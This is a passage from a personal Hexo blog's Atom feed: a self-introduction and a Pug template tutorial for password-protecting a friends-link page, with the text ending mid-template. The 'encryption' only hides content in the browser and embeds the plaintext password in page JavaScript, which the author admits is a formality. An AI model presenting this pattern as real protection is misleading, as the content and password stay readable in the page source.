<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>诗雨.Promise</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>http://czxh.top/</id>
  <link href="http://czxh.top/" rel="alternate"/>
  <link href="http://czxh.top/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 诗雨.Promise</rights>
  <subtitle>@Pr0mis3_c</subtitle>
  <title>诗雨小栈</title>
  <updated>2026-05-11T16:00:00.000Z</updated>
  <entry>
    <author>
      <name>诗雨.Promise</name>
    </author>
    <category term="个人" scheme="http://czxh.top/categories/%E4%B8%AA%E4%BA%BA/"/>
    <category term="个人" scheme="http://czxh.top/tags/%E4%B8%AA%E4%BA%BA/"/>
    <content>
      <![CDATA[<h1 id="今世我："><a href="#今世我：" class="headerlink" title="今世我："></a>今世我：</h1><blockquote><p>时代边缘的幸存者记录</p></blockquote><p>哈～大家好呀！ 这里是是<strong>诗雨</strong>。</p><p>一只软软的、还在努力改变的可爱小女孩。</p><p> 平时喜欢窝在房间里发呆、看日漫、听音乐、和可爱同类聊天～</p><p> 表面安静，内心其实超级想被摸摸头、被夸夸的类型(´｡• ᵕ •｡&#96;) </p><p>现在正在HRT的路上，每天都带着一点点期待和紧张在前进～ 梦想是能有一天自信地做自己！</p><p> 性格有点小害羞，但遇到喜欢的人就会忍不住变成话痨猫猫，喜欢用表情包和“喵喵”表达心情。</p><p> 欢迎来找我聊天！</p><h1 id="另世我："><a href="#另世我：" class="headerlink" title="另世我："></a>另世我：</h1><blockquote><p>认真过好每一天！</p></blockquote><p>这里是<strong>Mitunlny</strong>，可以叫我mitu。</p><p>正在学习网络安全和CTF，欢迎交流！</p><p>希望成为很厉害的大手子…ww</p><h2 id="About"><a href="#About" class="headerlink" title="About"></a>About</h2><ul><li>👨‍💻 My blog: <a href="http://czxh.top/">http://czxh.top</a></li><li>📫 How to reach me: <a href="mailto:&#x6d;&#x69;&#116;&#x75;&#x6e;&#108;&#x6e;&#x79;&#x40;&#x66;&#111;&#x78;&#109;&#97;&#105;&#x6c;&#46;&#x63;&#x6f;&#109;">mitunlny@foxmail.com</a></li></ul>]]>
    </content>
    <id>http://czxh.top/2026/05/12/About/</id>
    <link href="http://czxh.top/2026/05/12/About/"/>
    <published>2026-05-11T16:00:00.000Z</published>
    <summary>好耶！是自介！</summary>
    <title>About:想要了解诗雨...</title>
    <updated>2026-05-11T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>诗雨.Promise</name>
    </author>
    <category term="前端" scheme="http://czxh.top/categories/%E5%89%8D%E7%AB%AF/"/>
    <category term="前端" scheme="http://czxh.top/tags/%E5%89%8D%E7%AB%AF/"/>
    <content>
      <![CDATA[<h1 id="Anzhiyu-Flink-Encrypt-基于anzhiyu主题实现友链页面加密功能"><a href="#Anzhiyu-Flink-Encrypt-基于anzhiyu主题实现友链页面加密功能" class="headerlink" title="Anzhiyu_Flink_Encrypt - 基于anzhiyu主题实现友链页面加密功能"></a>Anzhiyu_Flink_Encrypt - 基于anzhiyu主题实现友链页面加密功能</h1><blockquote><p>前言： 为了反社工侦察，博主独创的友链加密功能，以防信息搜集者通过你的博客定位到你朋友的博客（bushi<br>s</p><p>（其实只是一个形式了</p><p>ps：本站友链密码：<code>Q3liZXJTZWN1cml0eUAxMTQ1MTQ=</code> 你不是来社工的对吧！👀</p></blockquote><h1 id="v1-1"><a href="#v1-1" class="headerlink" title="v1.1"></a>v1.1</h1><blockquote><p>更新内容： 添加控制加密功能，可在_config.yml文件中设置encrypted_friends的参数来控制网站是否启用友链加密功能</p></blockquote><h2 id="includes-page-flink-pug"><a href="#includes-page-flink-pug" class="headerlink" title="- includes&#x2F;page&#x2F;flink.pug"></a>- includes&#x2F;page&#x2F;flink.pug</h2><pre><code>//- includes/page/flink.pug//- 检查是否开启友链加密功能//- 逻辑：当 encrypted_friends 为 false 时关闭加密，否则需要 page.password 才加密- const encrypted_friends_setting = theme.encrypted_friends- const enableEncryption = encrypted_friends_setting !== false &amp;&amp; page.passwordif enableEncryption  #hexo-blog-encrypt    .hbe-input-container      input(type=&quot;password&quot; id=&quot;hbePass&quot; placeholder=page.message || &quot;请输入密码查看友链&quot;)      button(onclick=&quot;decryptFriends()&quot;) 解密查看    #hbeError(style=&quot;display:none;color:red;margin-top:10px;&quot;)= page.wrong_pass_message || &#39;密码错误！&#39;  #encrypted-content(style=&quot;display:none;&quot;)    #article-container      if theme.linkPageTop &amp;&amp; theme.linkPageTop.enable        #flink-banners          .banner-top-box            .flink-banners-title              .banners-title-small 友情链接              .banners-title-big=theme.linkPageTop ? theme.linkPageTop.title : &quot;与数百名博主无限进步&quot;            .banner-button-group              if (theme.friends_vue.apiurl)                a.banner-button.secondary.no-text-decoration(onclick=&quot;friendChainRandomTransmission()&quot;)                  i.anzhiyufont.anzhiyu-icon-paper-plane1                  span.banner-button-text 随机访问              if theme.linkPageTop.addFriendPlaceholder &amp;&amp; theme.comments.use == &#39;Twikoo&#39; &amp;&amp; theme.twikoo.envId                a.banner-button.no-text-decoration(onclick=&quot;anzhiyu.addFriendLink()&quot;)                  i.anzhiyufont.anzhiyu-icon-arrow-circle-right                  span.banner-button-text 申请友链          #skills-tags-group-all            .tags-group-wrapper              - function getAvatarWithoutExclamationMark(url) &#123;              -   const index = url.indexOf(&#39;!&#39;);              -   return index !== -1 ? url.substring(0, index) : url;              - &#125;              each y in [1,2]                each i, index in site.data.link.slice(0, 15)                  - const link_list = i.link_list.slice()                  - const hundredSuffix = i.hundredSuffix ? i.hundredSuffix : &quot;&quot;                  - const evenNum = link_list.filter((x, index) =&gt; index % 2 === 0);                  - const oddNum = link_list.filter((x, index) =&gt; index % 2 === 1);                  each item, index2 in link_list.slice(0, Math.min(evenNum.length, oddNum.length))                    - const index = index2 * 2                    if (index &lt;= 15 &amp;&amp; typeof evenNum[index] !== &#39;undefined&#39; &amp;&amp; typeof oddNum[index] !== &#39;undefined&#39;)                      - let oddNumAvatar = getAvatarWithoutExclamationMark(oddNum[index].avatar);                      - let evenNumAvatar = getAvatarWithoutExclamationMark(evenNum[index].avatar);                      .tags-group-icon-pair                        a.tags-group-icon.no-text-decoration(href=url_for(evenNum[index].link), title=evenNum[index].name)                          img.no-lightbox(title=evenNum[index].name, src=url_for(evenNumAvatar + hundredSuffix) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=evenNum[index].name)                        a.tags-group-icon.no-text-decoration(href=url_for(oddNum[index].link), title=oddNum[index].name)                          img.no-lightbox(title=oddNum[index].name, src=url_for(oddNumAvatar + hundredSuffix) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=oddNum[index].name)      if theme.friends_vue &amp;&amp; theme.friends_vue.enable        .title-h2-a          .title-h2-a-left            h2(style=&#39;padding-top:0;margin:.6rem 0 .6rem&#39;) 🎣 钓鱼            a.random-post-start.no-text-decoration(href=&#39;javascript:fetchRandomPost();&#39;)              i.anzhiyufont.anzhiyu-icon-arrow-rotate-right          .title-h2-a-right            a.random-post-all.no-text-decoration(href=&#39;/link/&#39;) 全部友链        #random-post        script(defer data-pjax src=url_for(theme.asset.random_friends_post_js))            .flink        if site.data.link          each i in site.data.link            if i.class_name              h2!= i.class_name + &quot;(&quot; + i.link_list.length + &quot;)&quot;            if i.class_desc              .flink-desc!=i.class_desc            if i.flink_style === &#39;anzhiyu&#39;              div(class=i.lost_contact ? &#39;anzhiyu-flink-list cf-friends-lost-contact&#39; : &#39;anzhiyu-flink-list&#39;)                if i.link_list                  each item in i.link_list                    - let color = item.color || &quot;&quot;                    - let tag = item.tag || &quot;&quot;                                        .flink-list-item                      if color == &quot;vip&quot; &amp;&amp; tag                        span.site-card-tag.vip #[=tag]                          i.light                      else if color == &quot;speed&quot; &amp;&amp; tag                        span.site-card-tag.speed #[=tag]                      else if tag                        span.site-card-tag(style=`background-color: $&#123;color&#125;`) #[=tag]                      else if item.recommend                        span.site-card-tag 荐                      if i.lost_contact                        a.cf-friends-link(href=url_for(item.link) title=item.name target=&quot;_blank&quot;)                          if theme.lazyload.enable                            img.no-lightbox(data-lazy-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                          else                            img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                          .flink-item-info                            .flink-item-name.cf-friends-name-lost-contact= item.name                      else                        a.cf-friends-link(href=url_for(item.link) cf-href=url_for(item.link) title=item.name target=&quot;_blank&quot;)                          if theme.lazyload.enable                            img.cf-friends-avatar.no-lightbox(data-lazy-src=url_for(item.avatar), cf-src=url_for(item.avatar), onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                          else                            img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                          .flink-item-info                            .flink-item-name.cf-friends-name= item.name                            .flink-item-desc(title=item.descr)= item.descr                        else if i.flink_style === &#39;telescopic&#39;              .telescopic-site-card-group                each item in i.link_list                  - let color = item.color || &quot;&quot;                  - let tag = item.tag || &quot;&quot;                  - let siteshot = item.siteshot || `https://image.thum.io/get/width/400/crop/800/allowJPG/wait/20/noanimate/$&#123;item.link&#125;` || theme.default_img                  .site-card                    if color == &quot;vip&quot; &amp;&amp; tag                      span.site-card-tag.vip #[=tag]                        i.light                    else if color == &quot;speed&quot; &amp;&amp; tag                      span.site-card-tag.speed #[=tag]                    else if tag                      span.site-card-tag(style=`background-color: $&#123;color&#125;`) #[=tag]                    else if item.recommend                      span.site-card-tag 荐                    a.img.no-text-decoration(target=&#39;_blank&#39;, title=`$&#123;item.name&#125;`, href=`$&#123;item.link&#125;`, rel=&#39;external nofollow&#39;)                      img.flink-avatar(data-lazy-src=siteshot, onerror=`this.onerror=null;this.src=&#39;$&#123;theme.default_img&#125;&#39;`, alt=item.name, style=&quot;pointer-events: none;&quot;, src=`$&#123;siteshot&#125;`)                    a.info.cf-friends-link.no-text-decoration(target=&#39;_blank&#39;, title=`$&#123;item.name&#125;`, href=`$&#123;item.link&#125;`, cf-href=url_for(item.link), rel=&#39;external nofollow&#39;)                      .site-card-avatar                        img.flink-avatar.cf-friends-avatar.no-fancybox(data-lazy-src=item.avatar, cf-src=url_for(item.avatar), onerror=`this.onerror=null;this.src=&#39;$&#123;theme.default_img&#125;&#39;`, alt=item.name, src=item.avatar)                      .site-card-text                        span.title.cf-friends-name #[=item.name]                        span.desc(title=`$&#123;item.descr&#125;`) #[=item.descr]            else if i.flink_style === &#39;flexcard&#39;              .flexcard-flink-list                each item in i.link_list                  a.flink-list-card.cf-friends-link(href=url_for(item.link) cf-href=url_for(item.link) target=&#39;_blank&#39; data-title=item.descr)                    .wrapper.cover                      - var siteshot = item.siteshot ? url_for(item.siteshot) : &#39;https://image.thum.io/get/width/400/crop/800/allowJPG/wait/20/noanimate/&#39; + item.link                      if theme.lazyload.enable                        img.cover.fadeIn(data-lazy-src=siteshot onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.post_page) + `&#39;` alt=&#39;cover&#39; )                      else                        img.cover.fadeIn(src=siteshot onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.post_page) + `&#39;` alt=&#39;cover&#39; )                        .info                      if theme.lazyload.enable                        img.cf-friends-avatar.no-lightbox.flink-avatar(data-lazy-src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=&#39;cover&#39; )                      else                        img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=&#39;cover&#39; )                      span.flink-sitename.cf-friends-name= item.name      != page.contentelse  //- 非加密模式：直接显示内容  #article-container    if theme.linkPageTop &amp;&amp; theme.linkPageTop.enable      #flink-banners        .banner-top-box          .flink-banners-title            .banners-title-small 友情链接            .banners-title-big=theme.linkPageTop ? theme.linkPageTop.title : &quot;与数百名博主无限进步&quot;          .banner-button-group            if (theme.friends_vue.apiurl)              a.banner-button.secondary.no-text-decoration(onclick=&quot;friendChainRandomTransmission()&quot;)                i.anzhiyufont.anzhiyu-icon-paper-plane1                span.banner-button-text 随机访问            if theme.linkPageTop.addFriendPlaceholder &amp;&amp; theme.comments.use == &#39;Twikoo&#39; &amp;&amp; theme.twikoo.envId              a.banner-button.no-text-decoration(onclick=&quot;anzhiyu.addFriendLink()&quot;)                i.anzhiyufont.anzhiyu-icon-arrow-circle-right                span.banner-button-text 申请友链        #skills-tags-group-all          .tags-group-wrapper            - function getAvatarWithoutExclamationMark(url) &#123;            -   const index = url.indexOf(&#39;!&#39;);            -   return index !== -1 ? url.substring(0, index) : url;            - &#125;            each y in [1,2]              each i, index in site.data.link.slice(0, 15)                - const link_list = i.link_list.slice()                - const hundredSuffix = i.hundredSuffix ? i.hundredSuffix : &quot;&quot;                - const evenNum = link_list.filter((x, index) =&gt; index % 2 === 0);                - const oddNum = link_list.filter((x, index) =&gt; index % 2 === 1);                each item, index2 in link_list.slice(0, Math.min(evenNum.length, oddNum.length))                  - const index = index2 * 2                  if (index &lt;= 15 &amp;&amp; typeof evenNum[index] !== &#39;undefined&#39; &amp;&amp; typeof oddNum[index] !== &#39;undefined&#39;)                    - let oddNumAvatar = getAvatarWithoutExclamationMark(oddNum[index].avatar);                    - let evenNumAvatar = getAvatarWithoutExclamationMark(evenNum[index].avatar);                    .tags-group-icon-pair                      a.tags-group-icon.no-text-decoration(href=url_for(evenNum[index].link), title=evenNum[index].name)                        img.no-lightbox(title=evenNum[index].name, src=url_for(evenNumAvatar + hundredSuffix) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=evenNum[index].name)                      a.tags-group-icon.no-text-decoration(href=url_for(oddNum[index].link), title=oddNum[index].name)                        img.no-lightbox(title=oddNum[index].name, src=url_for(oddNumAvatar + hundredSuffix) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=oddNum[index].name)    if theme.friends_vue &amp;&amp; theme.friends_vue.enable      .title-h2-a        .title-h2-a-left          h2(style=&#39;padding-top:0;margin:.6rem 0 .6rem&#39;) 🎣 钓鱼          a.random-post-start.no-text-decoration(href=&#39;javascript:fetchRandomPost();&#39;)            i.anzhiyufont.anzhiyu-icon-arrow-rotate-right        .title-h2-a-right          a.random-post-all.no-text-decoration(href=&#39;/link/&#39;) 全部友链      #random-post      script(defer data-pjax src=url_for(theme.asset.random_friends_post_js))        .flink      if site.data.link        each i in site.data.link          if i.class_name            h2!= i.class_name + &quot;(&quot; + i.link_list.length + &quot;)&quot;          if i.class_desc            .flink-desc!=i.class_desc          if i.flink_style === &#39;anzhiyu&#39;            div(class=i.lost_contact ? &#39;anzhiyu-flink-list cf-friends-lost-contact&#39; : &#39;anzhiyu-flink-list&#39;)              if i.link_list                each item in i.link_list                  - let color = item.color || &quot;&quot;                  - let tag = item.tag || &quot;&quot;                                    .flink-list-item                    if color == &quot;vip&quot; &amp;&amp; tag                      span.site-card-tag.vip #[=tag]                        i.light                    else if color == &quot;speed&quot; &amp;&amp; tag                      span.site-card-tag.speed #[=tag]                    else if tag                      span.site-card-tag(style=`background-color: $&#123;color&#125;`) #[=tag]                    else if item.recommend                      span.site-card-tag 荐                    if i.lost_contact                      a.cf-friends-link(href=url_for(item.link) title=item.name target=&quot;_blank&quot;)                        if theme.lazyload.enable                          img.no-lightbox(data-lazy-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                        else                          img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                        .flink-item-info                          .flink-item-name.cf-friends-name-lost-contact= item.name                    else                      a.cf-friends-link(href=url_for(item.link) cf-href=url_for(item.link) title=item.name target=&quot;_blank&quot;)                        if theme.lazyload.enable                          img.cf-friends-avatar.no-lightbox(data-lazy-src=url_for(item.avatar), cf-src=url_for(item.avatar), onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                        else                          img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                        .flink-item-info                          .flink-item-name.cf-friends-name= item.name                          .flink-item-desc(title=item.descr)= item.descr                    else if i.flink_style === &#39;telescopic&#39;            .telescopic-site-card-group              each item in i.link_list                - let color = item.color || &quot;&quot;                - let tag = item.tag || &quot;&quot;                - let siteshot = item.siteshot || `https://image.thum.io/get/width/400/crop/800/allowJPG/wait/20/noanimate/$&#123;item.link&#125;` || theme.default_img                .site-card                  if color == &quot;vip&quot; &amp;&amp; tag                    span.site-card-tag.vip #[=tag]                      i.light                  else if color == &quot;speed&quot; &amp;&amp; tag                    span.site-card-tag.speed #[=tag]                  else if tag                    span.site-card-tag(style=`background-color: $&#123;color&#125;`) #[=tag]                  else if item.recommend                    span.site-card-tag 荐                  a.img.no-text-decoration(target=&#39;_blank&#39;, title=`$&#123;item.name&#125;`, href=`$&#123;item.link&#125;`, rel=&#39;external nofollow&#39;)                    img.flink-avatar(data-lazy-src=siteshot, onerror=`this.onerror=null;this.src=&#39;$&#123;theme.default_img&#125;&#39;`, alt=item.name, style=&quot;pointer-events: none;&quot;, src=`$&#123;siteshot&#125;`)                  a.info.cf-friends-link.no-text-decoration(target=&#39;_blank&#39;, title=`$&#123;item.name&#125;`, href=`$&#123;item.link&#125;`, cf-href=url_for(item.link), rel=&#39;external nofollow&#39;)                    .site-card-avatar                      img.flink-avatar.cf-friends-avatar.no-fancybox(data-lazy-src=item.avatar, cf-src=url_for(item.avatar), onerror=`this.onerror=null;this.src=&#39;$&#123;theme.default_img&#125;&#39;`, alt=item.name, src=item.avatar)                    .site-card-text                      span.title.cf-friends-name #[=item.name]                      span.desc(title=`$&#123;item.descr&#125;`) #[=item.descr]          else if i.flink_style === &#39;flexcard&#39;            .flexcard-flink-list              each item in i.link_list                a.flink-list-card.cf-friends-link(href=url_for(item.link) cf-href=url_for(item.link) target=&#39;_blank&#39; data-title=item.descr)                  .wrapper.cover                    - var siteshot = item.siteshot ? url_for(item.siteshot) : &#39;https://image.thum.io/get/width/400/crop/800/allowJPG/wait/20/noanimate/&#39; + item.link                    if theme.lazyload.enable                      img.cover.fadeIn(data-lazy-src=siteshot onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.post_page) + `&#39;` alt=&#39;cover&#39; )                    else                      img.cover.fadeIn(src=siteshot onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.post_page) + `&#39;` alt=&#39;cover&#39; )                      .info                    if theme.lazyload.enable                      img.cf-friends-avatar.no-lightbox.flink-avatar(data-lazy-src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=&#39;cover&#39; )                    else                      img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=&#39;cover&#39; )                    span.flink-sitename.cf-friends-name= item.name    != page.content//- 只在启用加密功能时才加载JavaScriptif enableEncryption  script.    // 页面加载时立即检查加密状态    document.addEventListener(&#39;DOMContentLoaded&#39;, function() &#123;      const encryptedContent = document.getElementById(&#39;encrypted-content&#39;);      const encryptContainer = document.getElementById(&#39;hexo-blog-encrypt&#39;);            // 强制显示加密界面，隐藏内容      if (encryptContainer) encryptContainer.style.display = &#39;block&#39;;      if (encryptedContent) encryptedContent.style.display = &#39;none&#39;;            // 检查保存的密码      const savedPass = localStorage.getItem(&#39;friends-page-pass&#39;);      const correctPass = &#39;#&#123;page.password&#125;&#39;;            if (savedPass === correctPass) &#123;        // 密码正确，显示内容        if (encryptedContent) encryptedContent.style.display = &#39;block&#39;;        if (encryptContainer) encryptContainer.style.display = &#39;none&#39;;      &#125; else &#123;        // 密码错误或未保存，清除可能存在的错误缓存        localStorage.removeItem(&#39;friends-page-pass&#39;);        if (encryptedContent) encryptedContent.style.display = &#39;none&#39;;        if (encryptContainer) encryptContainer.style.display = &#39;block&#39;;      &#125;    &#125;);    function decryptFriends() &#123;      const inputPass = document.getElementById(&#39;hbePass&#39;).value;      const correctPass = &#39;#&#123;page.password&#125;&#39;;      const encryptedContent = document.getElementById(&#39;encrypted-content&#39;);      const errorElement = document.getElementById(&#39;hbeError&#39;);      const encryptContainer = document.getElementById(&#39;hexo-blog-encrypt&#39;);            if (inputPass === correctPass) &#123;        encryptedContent.style.display = &#39;block&#39;;        encryptContainer.style.display = &#39;none&#39;;        errorElement.style.display = &#39;none&#39;;        // 保存密码        localStorage.setItem(&#39;friends-page-pass&#39;, inputPass);      &#125; else &#123;        errorElement.style.display = &#39;block&#39;;        // 清除错误的保存        localStorage.removeItem(&#39;friends-page-pass&#39;);      &#125;    &#125;</code></pre><p>控制器配置：</p><p>在站点配置文件or主题配置文件中添加：</p><p><code>encrypted_friends: false</code></p><p>或者：</p><p><code>encrypted_friends: true</code></p><p>之后进行hexo三连；</p><h1 id="v1-0"><a href="#v1-0" class="headerlink" title="v1.0"></a>v1.0</h1><h2 id="效果图"><a href="#效果图" class="headerlink" title="效果图"></a>效果图</h2><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511032155173.png" alt="image-20251103215515074"></p><h2 id="部署教程"><a href="#部署教程" class="headerlink" title="部署教程"></a>部署教程</h2><h3 id="前置："><a href="#前置：" class="headerlink" title="前置："></a>前置：</h3><p>部署好你的博客（本站使用的是基于hexo框架anzhiyu主题的部署）且配置好anzhiyu独有的友链页面</p><h3 id="步骤："><a href="#步骤：" class="headerlink" title="步骤："></a>步骤：</h3><ol><li>找到<code>\themes\anzhiyu\layout\includes\page\flink.pug</code>文件，将其替换为以下内容：</li></ol><pre><code class="language-pug">//- includes/page/flink.pugif page.password  #hexo-blog-encrypt    .hbe-input-container      input(type=&quot;password&quot; id=&quot;hbePass&quot; placeholder=page.message || &quot;请输入密码查看友链&quot;)      button(onclick=&quot;decryptFriends()&quot;) 解密查看    #hbeError(style=&quot;display:none;color:red;margin-top:10px;&quot;)= page.wrong_pass_message || &#39;密码错误！&#39;  #encrypted-content(style=&quot;display:none;&quot;)    #article-container      if theme.linkPageTop &amp;&amp; theme.linkPageTop.enable        #flink-banners          .banner-top-box            .flink-banners-title              .banners-title-small 友情链接              .banners-title-big=theme.linkPageTop ? theme.linkPageTop.title : &quot;与数百名博主无限进步&quot;            .banner-button-group              if (theme.friends_vue.apiurl)                a.banner-button.secondary.no-text-decoration(onclick=&quot;friendChainRandomTransmission()&quot;)                  i.anzhiyufont.anzhiyu-icon-paper-plane1                  span.banner-button-text 随机访问              if theme.linkPageTop.addFriendPlaceholder &amp;&amp; theme.comments.use == &#39;Twikoo&#39; &amp;&amp; theme.twikoo.envId                a.banner-button.no-text-decoration(onclick=&quot;anzhiyu.addFriendLink()&quot;)                  i.anzhiyufont.anzhiyu-icon-arrow-circle-right                  span.banner-button-text 申请友链          #skills-tags-group-all            .tags-group-wrapper              - function getAvatarWithoutExclamationMark(url) &#123;              -   const index = url.indexOf(&#39;!&#39;);              -   return index !== -1 ? url.substring(0, index) : url;              - &#125;              each y in [1,2]                each i, index in site.data.link.slice(0, 15)                  - const link_list = i.link_list.slice()                  - const hundredSuffix = i.hundredSuffix ? i.hundredSuffix : &quot;&quot;                  - const evenNum = link_list.filter((x, index) =&gt; index % 2 === 0);                  - const oddNum = link_list.filter((x, index) =&gt; index % 2 === 1);                  each item, index2 in link_list.slice(0, Math.min(evenNum.length, oddNum.length))                    - const index = index2 * 2                    if (index &lt;= 15 &amp;&amp; typeof evenNum[index] !== &#39;undefined&#39; &amp;&amp; typeof oddNum[index] !== &#39;undefined&#39;)                      - let oddNumAvatar = getAvatarWithoutExclamationMark(oddNum[index].avatar);                      - let evenNumAvatar = getAvatarWithoutExclamationMark(evenNum[index].avatar);                      .tags-group-icon-pair                        a.tags-group-icon.no-text-decoration(href=url_for(evenNum[index].link), title=evenNum[index].name)                          img.no-lightbox(title=evenNum[index].name, src=url_for(evenNumAvatar + hundredSuffix) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=evenNum[index].name)                        a.tags-group-icon.no-text-decoration(href=url_for(oddNum[index].link), title=oddNum[index].name)                          img.no-lightbox(title=oddNum[index].name, src=url_for(oddNumAvatar + hundredSuffix) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=oddNum[index].name)      if theme.friends_vue &amp;&amp; theme.friends_vue.enable        .title-h2-a          .title-h2-a-left            h2(style=&#39;padding-top:0;margin:.6rem 0 .6rem&#39;) 🎣 钓鱼            a.random-post-start.no-text-decoration(href=&#39;javascript:fetchRandomPost();&#39;)              i.anzhiyufont.anzhiyu-icon-arrow-rotate-right          .title-h2-a-right            a.random-post-all.no-text-decoration(href=&#39;/link/&#39;) 全部友链        #random-post        script(defer data-pjax src=url_for(theme.asset.random_friends_post_js))            .flink        if site.data.link          each i in site.data.link            if i.class_name              h2!= i.class_name + &quot;(&quot; + i.link_list.length + &quot;)&quot;            if i.class_desc              .flink-desc!=i.class_desc            if i.flink_style === &#39;anzhiyu&#39;              div(class=i.lost_contact ? &#39;anzhiyu-flink-list cf-friends-lost-contact&#39; : &#39;anzhiyu-flink-list&#39;)                if i.link_list                  each item in i.link_list                    - let color = item.color || &quot;&quot;                    - let tag = item.tag || &quot;&quot;                                        .flink-list-item                      if color == &quot;vip&quot; &amp;&amp; tag                        span.site-card-tag.vip #[=tag]                          i.light                      else if color == &quot;speed&quot; &amp;&amp; tag                        span.site-card-tag.speed #[=tag]                      else if tag                        span.site-card-tag(style=`background-color: $&#123;color&#125;`) #[=tag]                      else if item.recommend                        span.site-card-tag 荐                      if i.lost_contact                        a.cf-friends-link(href=url_for(item.link) title=item.name target=&quot;_blank&quot;)                          if theme.lazyload.enable                            img.no-lightbox(data-lazy-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                          else                            img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                          .flink-item-info                            .flink-item-name.cf-friends-name-lost-contact= item.name                      else                        a.cf-friends-link(href=url_for(item.link) cf-href=url_for(item.link) title=item.name target=&quot;_blank&quot;)                          if theme.lazyload.enable                            img.cf-friends-avatar.no-lightbox(data-lazy-src=url_for(item.avatar), cf-src=url_for(item.avatar), onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                          else                            img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                          .flink-item-info                            .flink-item-name.cf-friends-name= item.name                            .flink-item-desc(title=item.descr)= item.descr                        else if i.flink_style === &#39;telescopic&#39;              .telescopic-site-card-group                each item in i.link_list                  - let color = item.color || &quot;&quot;                  - let tag = item.tag || &quot;&quot;                  - let siteshot = item.siteshot || `https://image.thum.io/get/width/400/crop/800/allowJPG/wait/20/noanimate/$&#123;item.link&#125;` || theme.default_img                  .site-card                    if color == &quot;vip&quot; &amp;&amp; tag                      span.site-card-tag.vip #[=tag]                        i.light                    else if color == &quot;speed&quot; &amp;&amp; tag                      span.site-card-tag.speed #[=tag]                    else if tag                      span.site-card-tag(style=`background-color: $&#123;color&#125;`) #[=tag]                    else if item.recommend                      span.site-card-tag 荐                    a.img.no-text-decoration(target=&#39;_blank&#39;, title=`$&#123;item.name&#125;`, href=`$&#123;item.link&#125;`, rel=&#39;external nofollow&#39;)                      img.flink-avatar(data-lazy-src=siteshot, onerror=`this.onerror=null;this.src=&#39;$&#123;theme.default_img&#125;&#39;`, alt=item.name, style=&quot;pointer-events: none;&quot;, src=`$&#123;siteshot&#125;`)                    a.info.cf-friends-link.no-text-decoration(target=&#39;_blank&#39;, title=`$&#123;item.name&#125;`, href=`$&#123;item.link&#125;`, cf-href=url_for(item.link), rel=&#39;external nofollow&#39;)                      .site-card-avatar                        img.flink-avatar.cf-friends-avatar.no-fancybox(data-lazy-src=item.avatar, cf-src=url_for(item.avatar), onerror=`this.onerror=null;this.src=&#39;$&#123;theme.default_img&#125;&#39;`, alt=item.name, src=item.avatar)                      .site-card-text                        span.title.cf-friends-name #[=item.name]                        span.desc(title=`$&#123;item.descr&#125;`) #[=item.descr]            else if i.flink_style === &#39;flexcard&#39;              .flexcard-flink-list                each item in i.link_list                  a.flink-list-card.cf-friends-link(href=url_for(item.link) cf-href=url_for(item.link) target=&#39;_blank&#39; data-title=item.descr)                    .wrapper.cover                      - var siteshot = item.siteshot ? url_for(item.siteshot) : &#39;https://image.thum.io/get/width/400/crop/800/allowJPG/wait/20/noanimate/&#39; + item.link                      if theme.lazyload.enable                        img.cover.fadeIn(data-lazy-src=siteshot onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.post_page) + `&#39;` alt=&#39;cover&#39; )                      else                   